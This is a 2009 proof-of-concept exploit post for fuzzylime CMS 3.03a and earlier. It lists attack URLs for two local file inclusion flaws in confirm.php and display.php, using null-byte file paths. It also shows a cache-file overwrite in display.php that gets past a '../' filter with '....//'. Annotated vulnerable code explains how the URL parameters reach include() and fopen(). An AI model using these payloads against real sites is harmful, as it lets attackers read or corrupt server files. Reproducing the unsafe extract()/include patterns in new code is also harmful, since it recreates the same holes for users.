fuzzylimecms-lfi.txt
Posted on 18 June 2009
+------------------------------------------------------------------------+ | fuzzylime cms <= 3.03a local inclusion / arbitrary file corruption poc | +-----------+------------------------------------------------------------+ | by staker | +-----------+---------------------+ | mail: staker[at]hotmail[dot]it | | url: http://cms.fuzzylime.co.uk | +---------------------------------+ [1][LFI] http://[target]/[path]/code/confirm.php?e[]&list= { file + nullbyte } Vulnerable code: confirm.php (local file inclusion mq=off) ----------------------------------------------------------------- 1. <? 2. @extract($HTTP_GET_VARS); <-------- {1} 3. @extract($_GET); <----------^ 27. elseif(isset($e)) { <------- {2} 28. $filename = "code/mailing/$list.inc.php"; <------- {3} 29. @include $filename; <------- {4} ----------------------------------------------------------------- 1. extract() allows to overwrite any not-defined variable via get therefore it works regardless of register_globals settings. 2. $e is a variable not defined,therefore become $_GET['e'] 3. $list is a variable not defined,therefore become $_GET['list'] 4. $filename contains $list variable that will be required ----------------------------------------------------------------- [2][LFI] http://[target]/[path]/code/display.php?template= {file + nullbyte} Vulnerable code: display.php (local file inclusion mq=0 & reg=on) -------------------------------------------------------------------- 98. if($_GET['print'] != "1") include "templates/${template}_f.php"; -------------------------------------------------------------------- [3][LFC] http://[target]/[path]/code/display.php?usecache=1&s=....//settings http://[target]/[path]/code/display.php?usecache=1&s={file + nullbyte}(mq = off) Vulnerable code: display.php (local file corruption register_gl=1) ----------------------------------------------------------------- 1. <? 2. $s = $_GET[s]; 3. $p = $_GET[p]; 4. $s = str_replace("../", "", $s); <---------- {1} 5. $p = str_replace("../", "", $p); ... 54. $cachefile = "cache/${s}_${p}_$_GET[m]_$_GET[c]_$_GET[t]_$_GET[u]_$_GET[print].cache.htm"; <---- {2} 100. if($usecache == "1" && $passprot != "1" && $s != "rss" && empty($_GET[msg]) && empty($_GET[tn])) { <--- {3} 101. if($handle = fopen($cachefile, 'w')) { // Create the cache file <-------- {4} 102. $output = ob_get_contents(); 103. fputs($handle, $output); 104. 105. fclose($handle); 106. } 107. } ---------------------------------------------------------------------- 1. you have to use ....// to change directory because of 1st point. so ....// will be ../ 2. $cachefile contains $s variable 3. if $usecache == 1 we will go ahead 4. you will overwrite a file typing the name via $s variable. ----------------------------------------------------------------------- [x] http://www.youtube.com/watch?v=h3DQmJOkSY0
